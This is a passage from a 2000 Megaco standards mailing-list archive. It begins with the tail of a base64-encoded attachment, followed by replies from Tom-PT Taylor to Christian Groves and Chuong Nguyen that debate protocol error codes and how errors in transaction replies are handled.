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
AEUAAAAo8AAAAAA=

------=_NextPart_000_0007_01BF75A6.A6663400--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sat Feb 12 16:59:48 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26999
	for ; Sat, 12 Feb 2000 16:59:47 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.1ED7EAF0@standards.nortelnetworks.com>; Sat, 12 Feb 2000 16:56:35 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 44135 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sat, 12 Feb 2000 16:54:51 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.E0CC6F10@standards.nortelnetworks.com>; Sat, 12 Feb 2000
          16:54:51 -0500
Received: from zmers013 by smtprch1.nortel.com; Sat, 12 Feb 2000 15:56:44 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Sat, 12
          Feb 2000 16:56:32 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF7DG4>; Sat, 12 Feb 2000 15:56:30 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF75A4.044BCD8A"
Message-ID:  
Date:         Sat, 12 Feb 2000 15:56:30 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Errors and Error Codes
X-To:         Christian Groves 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF75A4.044BCD8A
Content-Type: text/plain;
        charset="iso-8859-1"

Thanks for your review.  I've deleted the stuff we agree on to make my
comments clearer.

> -----Original Message-----
> From: Christian Groves [SMTP:Christian.Groves@ericsson.com]
> Sent: Friday, February 11, 2000 1:06 PM
        [[TomT]]  ...
>  > B. Errors In Transaction Reply
> >
> > I'm not sure we have a procedure for handling errors in Transaction
> Reply.
> > Unless someone can point me to the existing text, we should add
> something to
> > cover the situation.
> [CHG] Do we really need this? Doesn't it depend on the application
>       what it wants to do when it encounters an error?
        [[TomT]]
        You could make the same argument for the responder reaction to
errors in transaction requests.  "It's an application issue how to respond
to errors."   I don't buy that -- the protocol requires some standardized
means of communicating a failure to communicate.


> >
> > C. Errors Defined In Packages
> >
> > We agreed with the Cisco proposal that it be possible to define error
> codes
> > in packages.  This would just be a matter of documentation convenience
> --
> > the codes would NOT be qualified by package name, and the package
> > documentation would serve double duty as far as IANA registration is
> > concerned.  IMHO this means no change to our existing section 12 except
> > perhaps to mention this possibility in the packages section.  Assignment
> of
> > codes would follow the usual rules: 000-999 range for ITU/IETF codes,
> 1000
> > -9999 for private packages.
> [CHG] We have not agreed on this at the ITU meeting and is still under
> discussion.
>  How this works with regards to package extension and versioning is
> still an open issue.
        [[TomT]]
        The key point here is that IANA must have a pointer to the latest
documentation.

> >
> > D. Review Of Error Codes
> >
        [[TomT]]  ...  In what follows, errors marked with an
> > asterisk could be returned against transaction replies as well as
> > transaction requests. [[TomT]]  ...
>  [CHG] Do we need to mark directions with a '*'. It should be obvious.
        [[TomT]]
        That's only for convenience of review.  It reinforces my point that
there has to be some protocol means to indicate a failure in a reply -- many
of these asterisked items could not be transmitted otherwise.


> >
> > 403 - Syntax Error in Transaction
> >         The form of a transaction request failed to match production
> > transactionRequest in Annex A, Annex B, or section D.1.2 of Annex D as
> > applicable.  [Note: review codes proposed in sec. 8.2.2.]
> [CHG1] Leave out references to D.1.2 as this might not be supported
> depending on transport. transactionRequest in Annex A and B should cover
> things.
        [[TomT]]  OK for this, 404, 405


> >
> > *406 - Version Not Supported
> >         Used by the receiver of a transaction request to indicate lack
> of
> > support for the protocol version indicated in the message header.  [Note
> > usage in sec. 11.3 -- I think there is an error in the second para last
> > sentence (should be MG, not MGC)]
> [CHG] Valid for ServiceChange perhaps text should be:
> "Used by receiver to indicate lack of support for the protocol version."
        [[TomT]]  See your point.  How about: "Used by the receiver of a
message to indicate lack of support for the protocol version in the message
header.  Also used by the MG to indicate its lack of support for the
protocol version in the ServiceChangeVersion of a ServiceChange response."

> >  412 - No ContextIDs available
> [CHG]+  The MG is unable to create a new context in because of a
> shortage of
> [CHG]+ software or hardware resources within the MG.
        [[TomT]]  OK, minus the redundant "in"

> > 431 - No TerminationID matched a wildcard
> >          The Transaction Request specified a TerminationID including
> both
> > specific content and one or more wildcards (ALL or CHOOSE), but the
> > responder could not find an existing termination >>or, because
> of internal
> > naming constraints, create a new termination matching the specified
> pattern.>
> [CHG] Remove create comment.
        [[TomT]]  OK

> >
> > 432 - Out of TerminationIDs or No TerminationID available
> >         The MG was unable to allocate a new terminationID in response to
> an
> > Add command specifying a CHOOSE termination identifier, because it has
> > exhausted the applicable local name space or some other per-termination
> > resource.
> [CHG] How about?
> "The MG was unable to allocate a new terminationID."
        [[TomT]]  How about the same phrasing as for contextID:
        "The MG is unable to create a new terminationID because of a
        shortage of software or hardware resources within the MG."

> >
> > 441 - Missing RemoteDescriptor
> >         The MGC has attempted to set the Mode of a stream on a
> termination
> > to SendOnly or SendReceive but an inadeqate or no outgoing media
> > specification has been provided in a Remote Descriptor for that stream.
> > [Note: same thing can apply to Local/incoming flows.  Generalize this
> error
> > to "Attempt to activate underspecified flow"?]
> [CHG] Is this really needed at all? if you try to modify Mode without a
> Remote/LocalDescriptor isn't it a syntax error?
        [[TomT]]  No it isn't -- Mode is in LocalControl

> >
> > *445 - Unsupported or Unknown Property
> >         [Redundant -- use 450]
> [CHG] This is valid. Annex C would use this. I gather SDP has properties
> (attributes)
        [[TomT]]  But they would be defined in packages.  It seems to me the
answer is to make sure that disjoint sets of Annex C properties are
allocated different package numbers.
> >
> > *450 - No such property in this package
> >         The Property Name (Annex A) or ItemID (Annex B) of a property
> within
> > a descriptor is either unsupported or unrecognized.  Use error code 440
> if
> > the Package Name associated with the property is unrecognized.
> [CHG] OK
>
> >
> > 501 - Not Implemented
> >         [Redundant??? (Codes 443-446)]
> [CHG] Perhaps this should be???
>     501 - Unsupported property value
> May need also:
>     50x - Unknown property value
>
> >
> > 517 - Unsupported or invalid mode
> >         [Too detailed.  Need a general "Unsupported or invalid value" }
        [[TomT]]   517 or 501, doesn't matter
> >
> > 521 - Termination is "ServiceChangeing"
> >         [Inapplicable if we get rid of Graceful ServiceChange for
> > terminations.]
> [CHG] This should stay.
        [[TomT]]  Have to see what comes out of the "test" discussion
> >
> > 530 - Temporary Network failure
> >         The MG was unable to execute a command because of a network
> failure
> > of unspecified but temporary nature affecting the termination concerned.
>
> > [Delete>>>> If
> > the failure renders an existing termination unavailable for service, the
> MG
> > should follow up by issuing a ServiceChange on the termination to
> indicate
> > its unavailability.  <<<<<]
> [CHG] Remove advisory text. Up to MGC.
        [[TomT]]  No.  If our protocol has any meaning, it's the MG that has
to make the report.  It is actually implementation-dependent whether the
ServiceChange would precede or follow this error reply, so I should change
the wording to that extent..
> >
> > 531 - Permanent Network failure
> >         The MG was unable to execute a command because of a network
> failure
> > of unspecified and persistent nature affecting the termination
> concerned.
> [CHG] Delete>>>>>
> > If the failure renders an existing termination unavailable for service,
> the
> > MG should follow up by issuing a ServiceChange on the termination to
> > indicate its unavailability.<<<<<<
        [[TomT]]  Same comment as above.


------_=_NextPart_001_01BF75A4.044BCD8A
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: Errors and Error Codes




Thanks for your =
review.  I've deleted the stuff we agree on to make my comments =
clearer.



    

    -----Original Message-----

    From:   Christian Groves =
[SMTP:Christian.Groves@ericsson.com]

    Sent:   Friday, February 11, 2000 1:06 PM

    [[TomT]]  ...

     > B. Errors In Transaction Reply

    > 

    > I'm not sure we have a procedure =
for handling errors in Transaction Reply.

    > Unless someone can point me to =
the existing text, we should add something to

    > cover the situation.

    [CHG] Do we really need this? Doesn't =
it depend on the application 

          what =
it wants to do when it encounters an error?

    [[TomT]]  

    You could make the =
same argument for the responder reaction to errors in transaction =
requests.  "It's an application issue how to respond to =
errors."   I don't buy that -- the protocol requires =
some standardized means of communicating a failure to =
communicate.
    

    


    > 

    > C. Errors Defined In =
Packages

    > 

    > We agreed with the Cisco =
proposal that it be possible to define error codes

    > in packages.  This would =
just be a matter of documentation convenience --

    > the codes would NOT be qualified =
by package name, and the package

    > documentation would serve double =
duty as far as IANA registration is

    > concerned.  IMHO this means =
no change to our existing section 12 except

    > perhaps to mention this =
possibility in the packages section.  Assignment of

    > codes would follow the usual =
rules: 000-999 range for ITU/IETF codes, 1000

    > -9999 for private =
packages.

    [CHG] We have not agreed on this at =
the ITU meeting and is still under

    discussion.

     How this works with regards to =
package extension and versioning is

    still an open issue.

    [[TomT]]  

    The key point here =
is that IANA must have a pointer to the latest documentation.

    


    > 

    > D. Review Of Error Codes

    > 

    [[TomT]]  ...  In what follows, errors marked with an

    > asterisk could be returned =
against transaction replies as well as

    > transaction =
requests. [[TomT]]  ...

     [CHG] Do we need to mark =
directions with a '*'. It should be obvious.

    [[TomT]]  

    That's only for =
convenience of review.  It reinforces my point that there has to =
be some protocol means to indicate a failure in a reply -- many of =
these asterisked items could not be transmitted otherwise.
    

    


    > 

    > 403 - Syntax Error in =
Transaction

    >         The =
form of a transaction request failed to match production

    > transactionRequest in Annex A, =
Annex B, or section D.1.2 of Annex D as

    > applicable.  [Note: review =
codes proposed in sec. 8.2.2.]

    [CHG1] Leave out references to D.1.2 =
as this might not be supported

    depending on transport. =
transactionRequest in Annex A and B should cover

    things.

    [[TomT]]  OK for this, 404, 405

    

    


    > 

    > *406 - Version Not =
Supported

    >         =
Used by the receiver of a transaction request to indicate lack =
of

    > support for the protocol version =
indicated in the message header.  [Note

    > usage in sec. 11.3 -- I think =
there is an error in the second para last

    > sentence (should be MG, not =
MGC)]

    [CHG] Valid for ServiceChange perhaps =
text should be:

    "Used by receiver to indicate =
lack of support for the protocol version."

    [[TomT]]  See your point.  How =
about: "Used by the receiver of a message to indicate lack of =
support for the protocol version in the message header.  Also used =
by the MG to indicate its lack of support for the protocol version in =
the ServiceChangeVersion of a ServiceChange response."
    


    >  412 - No ContextIDs =
available

    [CHG]+  The MG is unable to =
create a new context in because of a

    shortage of

    [CHG]+ software or hardware resources =
within the MG.

    [[TomT]]  OK, minus the redundant =
"in"

    


    > 431 - No TerminationID matched a =
wildcard

    >         =
; The Transaction Request specified a TerminationID including =
both

    > specific content and one or more =
wildcards (ALL or CHOOSE), but the

    > responder could not find an =
existing termination <Delete>>>or, because of =
internal

    > naming constraints, create a new =
termination matching the specified pattern.>

    [CHG] Remove create comment.

    [[TomT]]  OK

    


    > 

    > 432 - Out of TerminationIDs or =
No TerminationID available

    >         The =
MG was unable to allocate a new terminationID in response to an

    > Add command specifying a CHOOSE =
termination identifier, because it has

    > exhausted the applicable local =
name space or some other per-termination

    > resource.

    [CHG] How about?

    "The MG was unable to allocate a =
new terminationID."

    [[TomT]]  How about the same phrasing =
as for contextID:

    "The MG is unable to create a new terminationID =
because of a

    shortage of software or hardware =
resources within the MG."

    


    > 

    > 441 - Missing =
RemoteDescriptor

    >         The =
MGC has attempted to set the Mode of a stream on a termination

    > to SendOnly or SendReceive but =
an inadeqate or no outgoing media

    > specification has been provided =
in a Remote Descriptor for that stream.

    > [Note: same thing can apply to =
Local/incoming flows.  Generalize this error

    > to "Attempt to activate =
underspecified flow"?]

    [CHG] Is this really needed at all? =
if you try to modify Mode without a 

    Remote/LocalDescriptor isn't it a =
syntax error?

    [[TomT]]  No it isn't -- Mode is in =
LocalControl

    


    > 

    > *445 - Unsupported or Unknown =
Property

    >         =
[Redundant -- use 450]

    [CHG] This is valid. Annex C would =
use this. I gather SDP has properties

    (attributes)

    [[TomT]]  But they would be defined in =
packages.  It seems to me the answer is to make sure that disjoint =
sets of Annex C properties are allocated different package =
numbers.
    


    > 

    > *450 - No such property in this =
package

    >         The =
Property Name (Annex A) or ItemID (Annex B) of a property within

    > a descriptor is either =
unsupported or unrecognized.  Use error code 440 if

    > the Package Name associated with =
the property is unrecognized.

    [CHG] OK

    


    > 

    > 501 - Not Implemented

    >         =
[Redundant??? (Codes 443-446)]

    [CHG] Perhaps this should =
be???

        501 - Unsupported =
property value

    May need also:

        50x - Unknown =
property value

    


    > 

    > 517 - Unsupported or invalid =
mode

    >         =
[Too detailed.  Need a general "Unsupported or invalid =
value" }

    [[TomT]]   517 or 501, doesn't =
matter

    > 

    > 521 - Termination is =
"ServiceChangeing"

    >         =
[Inapplicable if we get rid of Graceful ServiceChange for

    > terminations.]

    [CHG] This should stay.

    [[TomT]]  Have to see what comes out =
of the "test" discussion

    > 

    > 530 - Temporary Network =
failure

    >         The =
MG was unable to execute a command because of a network failure

    > of unspecified but temporary =
nature affecting the termination concerned.  

    > [Delete>>>> =
If

    > the failure renders an existing =
termination unavailable for service, the MG

    > should follow up by issuing a =
ServiceChange on the termination to indicate

    > its unavailability.  =
<<<<<]

    [CHG] Remove advisory text. Up to =
MGC.

    [[TomT]]  No.  If our protocol =
has any meaning, it's the MG that has to make the report.  It is =
actually implementation-dependent whether the ServiceChange would =
precede or follow this error reply, so I should change the wording to =
that extent..
    


    > 

    > 531 - Permanent Network =
failure

    >         The =
MG was unable to execute a command because of a network failure

    > of unspecified and persistent =
nature affecting the termination concerned.

    [CHG] =
Delete>>>>>

    > If the failure renders an =
existing termination unavailable for service, the

    > MG should follow up by issuing a =
ServiceChange on the termination to

    > indicate its =
unavailability.<<<<<<

    [[TomT]]  Same comment as =
above.

    




------_=_NextPart_001_01BF75A4.044BCD8A--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sat Feb 12 17:10:40 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27133
	for ; Sat, 12 Feb 2000 17:10:40 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A9933F90@standards.nortelnetworks.com>; Sat, 12 Feb 2000 17:07:37 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 44163 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sat, 12 Feb 2000 17:05:48 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.68918E20@standards.nortelnetworks.com>; Sat, 12 Feb 2000
          17:05:48 -0500
Received: from zmers013 by smtprch1.nortel.com; Sat, 12 Feb 2000 16:08:04 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Sat, 12
          Feb 2000 17:07:59 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF7DHK>; Sat, 12 Feb 2000 16:07:57 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF75A5.9DFE8520"
Message-ID:  
Date:         Sat, 12 Feb 2000 16:07:58 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Errors and Error Codes
X-To:         Chuong Nguyen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF75A5.9DFE8520
Content-Type: text/plain

Thanks for your comments.

> -----Original Message-----
> From: Chuong Nguyen [SMTP:Chuong.Nguyen@USA.ALCATEL.COM]
> Sent: Friday, February 11, 2000 1:54 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Errors and Error Codes
>
>       >
>       > B. Errors In Transaction Reply
>       >
>       > I'm not sure we have a procedure for handling errors in
> Transaction Reply.
>       > Unless someone can point me to the existing text, we should add
> something to
>       > cover the situation.
>       [CHG] Do we really need this? Doesn't it depend on the application
>             what it wants to do when it encounters an error?
>
>
> Tom , are you trying to say that the text does not talk about responsing
> to a Transaction Reply
> or Transaction Pending?
> Are we supposed to response to Transaction Reply and Transaction Pending.
> If no, we do not need all the error codes related to Transaction Reply and
> Transaction Pending.
> If yes, then are we going to have syntax error code for the responses to
> the Transaction Reply
> and Transaction Pending.  This could go on and on...
        [[TomT]]  Well, we certainly wouldn't want that.  It may be the
right answer is that errors in responses are ignored.  As I said in my note
to Christian, that will cut down on the error code list.  Alternatively we
have to have some message type to which responses are forbidden.

>
>       >
>       > 402 - Unauthorized
>       >         The originator of a command is not authorized to execute
> that
>       > command for the termination(s) affected by it.  [For messages
> failing
>       > authentication, what is our procedure? ]
>       [CHG] OK
>
>
> I don't know about replying to authentication failure.  This would just
> help an attack on MG or MGC
> by making it responses to this message.
        [[TomT]]  My thought too.

>
>
        [[TomT]]  ...
>       > *448 - Descriptor appears twice in a command
>       [CHG] OK
>
> except for error descriptor???
        [[TomT]]  Good point -- have to add that

>       > 503 - Service Unavailable
>       >         [What service???  Likely conditions are covered by other
> error
>       > codes]
>       >
>
> Is this for trying to Add, modify a termination that is out of service?
        [[TomT]]  Don't think so as it is phrased, but we probably should
rephrase to cover that case.  We figured out here that it has to be possible
to modify an out of service termination so that it can be put into a test
state for running tests prior to restoration.
>
>
>
>       > 521 - Termination is "ServiceChangeing"
>       >         [Inapplicable if we get rid of Graceful ServiceChange for
>       > terminations.]
>       [CHG] This should stay.
>
> Are there talk about getting rid of Graceful ServiceChange for
> terminations?
> The text said that the termination service state is changed from
> in-service to test while being
> ServiceChange w/Graceful.
> Can we line this 2 up with one phrase - ServiceChanging or test?
        [[TomT]]
        Still sorting it out.  Must get the whole story out -- maybe
tomorrow morning.
>

------_=_NextPart_001_01BF75A5.9DFE8520
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: Errors and Error Codes




Thanks for your =
comments.



    

    -----Original Message-----

    From:   Chuong Nguyen =
[SMTP:Chuong.Nguyen@USA.ALCATEL.COM]

    Sent:   Friday, February 11, 2000 1:54 PM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Re: Errors and Error Codes

    

      

      >
      
> B. Errors In Transaction Reply
      
>
      
> I'm not sure we have a procedure for handling errors in =
Transaction Reply.
      
> Unless someone can point me to the existing text, we should add =
something to
      
> cover the situation.
      
[CHG] Do we really need this? Doesn't it depend on the application
      
=A0=A0=A0=A0=A0 what it wants to do when it encounters an error?
      
=A0      

      

    

    Tom , are you trying to say that the text does =
not talk about responsing to a Transaction Reply
    
or Transaction Pending?
    
Are we supposed to response to Transaction Reply and Transaction =
Pending.
    
If no, we do not need all the error codes related to Transaction Reply =
and Transaction Pending.
    
If yes, then are we going to have syntax error code for the responses =
to the Transaction Reply
    
